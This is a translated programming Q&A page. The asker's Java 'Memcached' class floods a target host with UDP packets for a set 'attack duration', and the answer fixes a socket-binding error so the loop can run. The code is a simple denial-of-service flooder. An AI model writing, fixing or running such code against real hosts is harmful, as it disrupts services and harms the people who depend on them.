【问题标题】:java.net.BindException: bind failed: EADDRNOTAVAIL (Cannot assign requested address)java.net.BindException:绑定失败:EADDRNOTAVAIL(无法分配请求的地址)
【发布时间】:2022-01-16 17:49:44
【问题描述】:

当以下代码运行时,我在socket = new DatagramSocket(8079, ip); 行中抛出一个异常,说 java.net.BindException: bind failed: EADDRNOTAVAIL (Cannot assign requested address)。我不确定为什么会这样。代码如下:

public Memcached(String target, int serverPort, int attackDuration) throws MalformedURLException {
        targetURL = new URL("http://" + target);
        this.serverPort = serverPort;
        this.attackDuration = attackDuration * 1000;
    }
    @Override
    public void run() {
        long startTime = System.currentTimeMillis();
        try {
            ip = InetAddress.getByName(targetURL.toExternalForm().replace("http://", ""));
            Log.d("tag1", ip.toString());
        }
        catch(UnknownHostException uhe) {
            System.out.println("Unknown host");
            ipAddressAbleToBeFound = false;
        }
        if (ipAddressAbleToBeFound) {
            try {
                socket = new DatagramSocket(8079, ip);
            }
            catch(SocketException se) {
                System.out.println("Unable to send request, is it down already??");
                se.printStackTrace();
                socketAbleToBeCreated = false;
            }
            if (socketAbleToBeCreated) {
                while(System.currentTimeMillis() < startTime + attackDuration) {
                    byte[] buffer = {10,23,12,31,43,32,24};

                    DatagramPacket packet = new DatagramPacket(buffer, buffer.length, ip, 8079);
                    try {
                        socket.send(packet);
                    }
                    catch(IOException ioe) {
                        System.out.println("I/O error occurred");
                    }
                }
            }
        }
    }
}

谢谢!

【问题讨论】:

    标签: java sockets networking


    【解决方案1】:

    我想我通过 socket = new DatagramSocket(); 而不是 socket = new DatagramSocket(8079, ip); 解决了这个问题。看起来你不需要在DatagramSocket中指定端口和InetAddress,你只需要在DatagramPacket中这样做。

    【讨论】:

      猜你喜欢
      • 2021-03-07
      • 2019-12-26
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2017-04-13
      • 2019-08-27
      • 2012-11-30
      相关资源
      最近更新 更多